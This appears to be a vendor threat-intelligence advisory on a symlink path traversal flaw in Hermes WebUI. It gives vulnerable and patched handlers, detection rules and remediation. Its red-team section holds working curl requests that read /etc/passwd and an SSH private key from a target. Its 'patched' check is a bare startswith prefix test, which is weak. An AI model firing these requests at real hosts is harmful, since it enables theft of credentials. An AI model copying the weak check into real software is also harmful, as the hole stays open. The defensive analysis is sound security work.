CVE-2026-11322

Executive Summary

CVE-2026-11322 is a path traversal vulnerability in Hermes WebUI prior to v0.51.221. The flaw allows an unauthenticated attacker to escape the designated workspace boundary by supplying symlinks that resolve to files or directories outside the workspace root. By exploiting the workspace file and listing APIs, which resolve symlink targets without verifying the final path remains within the workspace, an attacker can read arbitrary files on the host system accessible to the server process. This can lead to disclosure of sensitive data such as SSH keys, cloud credentials, or application tokens. The CVSS score is 6.5 (Medium), with a vector emphasizing network attack vector, low complexity, no privileges required, and high confidentiality impact.

Supply Chain & Package Security

Hermes WebUI is a web-based interface for managing Hermes, a message broker. The vulnerability exists in the workspace file and listing APIs, which are part of the core WebUI functionality. No package manager (NPM, PyPI, Go, Ruby) is involved, but the software may be distributed as a binary or container image. Users should verify the integrity of their Hermes WebUI installation and ensure they are using a version >= 0.51.221.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) – Complete disclosure of sensitive files.
• Integrity (I): None (N) – No modification possible.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but only affects confidentiality. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the potential for data disclosure makes it a priority for patching.

Deep Dive & Mechanics

The vulnerability resides in the workspace file and listing APIs of Hermes WebUI. These APIs are designed to serve files from a designated workspace root directory. However, they fail to properly validate symlink targets. When a user requests a file path that contains a symlink, the API resolves the symlink to its target path but does not check whether the resolved path remains within the workspace root. This allows an attacker to create a symlink (or supply a path that traverses via symlinks) pointing to arbitrary files outside the workspace, such as /etc/passwd, ~/.ssh/id_rsa, or cloud provider metadata endpoints.

The attack flow:

1. The attacker identifies the workspace file API endpoint (e.g., /workspace/file?path=...).
2. The attacker crafts a request with a path that includes a symlink pointing to a sensitive file outside the workspace.
3. The server resolves the symlink and serves the file content without verifying the final path is within the workspace boundary.
4. The attacker receives the sensitive data.

The vulnerability is classified as CWE-22 (Improper Limitation of a Pathname to a Restricted Directory). The fix should involve canonicalizing the final path after symlink resolution and ensuring it starts with the workspace root.

Vulnerable vs. Patched Code

Vulnerable Code (Hermes WebUI < 0.51.221):

# Example vulnerable handler
def get_file(path):
    # Resolve symlinks but do not check boundaries
    resolved_path = os.path.realpath(os.path.join(WORKSPACE_ROOT, path))
    # Serve file without boundary check
    return send_file(resolved_path)

Patched Code (Hermes WebUI >= 0.51.221):

# Example patched handler
def get_file(path):
    # Resolve symlinks
    resolved_path = os.path.realpath(os.path.join(WORKSPACE_ROOT, path))
    # Check that resolved path is within workspace root
    if not resolved_path.startswith(os.path.realpath(WORKSPACE_ROOT)):
        return "Access denied", 403
    return send_file(resolved_path)

The patched version adds a boundary check after symlink resolution to ensure the final path is within the workspace root.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Hermes WebUI instance (version < 0.51.221) in a Docker container.
2. Create a workspace directory with a symlink pointing to /etc/passwd:

   mkdir -p /workspace
   ln -s /etc/passwd /workspace/evil_link
   

3. Start the Hermes WebUI service.

Exploitation:

1. Send a request to the workspace file API:

   curl "http://target:port/workspace/file?path=evil_link"
   

2. The server returns the contents of /etc/passwd.

Advanced Exploitation:

• Use path traversal combined with symlinks to read SSH keys:

  curl "http://target:port/workspace/file?path=../../../../home/user/.ssh/id_rsa"
  

• If the workspace API allows listing, enumerate directories:

  curl "http://target:port/workspace/list?path=../../../../etc"
  

Blue Team

Detection:

• Monitor for requests to workspace APIs with suspicious path patterns (e.g., ../, ..\\, symlink names).
• Log all file access attempts and alert on paths that resolve outside the workspace root.
• Use file integrity monitoring to detect creation of symlinks in the workspace directory.

Hunting:

• Search for HTTP requests containing path= with directory traversal sequences.
• Correlate with file access logs to identify unauthorized reads of sensitive files.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /workspace/file or /workspace/list with parameters containing ../ or symlink names.
  • Outbound data transfers containing sensitive file contents (e.g., SSH keys, cloud credentials).

• File System IOCs:

  • Unexpected symlinks in the workspace directory pointing to sensitive system files.
  • Access logs showing reads of files outside the workspace root.

• Log IOCs:

  • Web server logs with 200 responses to path traversal requests.
  • Error logs indicating failed boundary checks (if patched).

Detection Engineering

YARA Rule

rule CVE_2026_11322_Hermes_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in Hermes WebUI workspace APIs"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-11322"
    strings:
        $path_traversal = /path=([^&]*\.\.\/[^&]*|.*symlink.*)/ nocase
        $workspace_api = /\/workspace\/(file|list)/ nocase
    condition:
        $workspace_api and $path_traversal
}

Sigma Rule

title: Hermes WebUI Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts in Hermes WebUI workspace APIs
author: Valters IT
date: 2026-01-01
references:
    - CVE-2026-11322
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - '/workspace/file?path='
            - '/workspace/list?path='
        cs-uri-query|re: '\.\.\/|\.\.\\'
    condition: selection
falsepositives:
    - Legitimate use of symlinks within workspace (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-11322 Hermes WebUI Path Traversal Attempt"; flow:to_server; content:"/workspace/file"; http_uri; content:"path="; http_uri; pcre:"/\.\.\//i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade Hermes WebUI to version 0.51.221 or later.
2. Workaround: If upgrade is not possible, restrict access to the workspace APIs using a reverse proxy or firewall rules to allow only trusted IPs.
3. Configuration: Disable symlink following in the workspace API if not required.
4. Monitoring: Implement logging and alerting for path traversal attempts as described in Detection Engineering.
5. Long-term: Conduct a security review of all file handling APIs to ensure proper path validation and boundary checks.

Valters IT signature: This report is generated by Valters IT Cyber Threat Intelligence. For questions, contact intelligence@valters.it.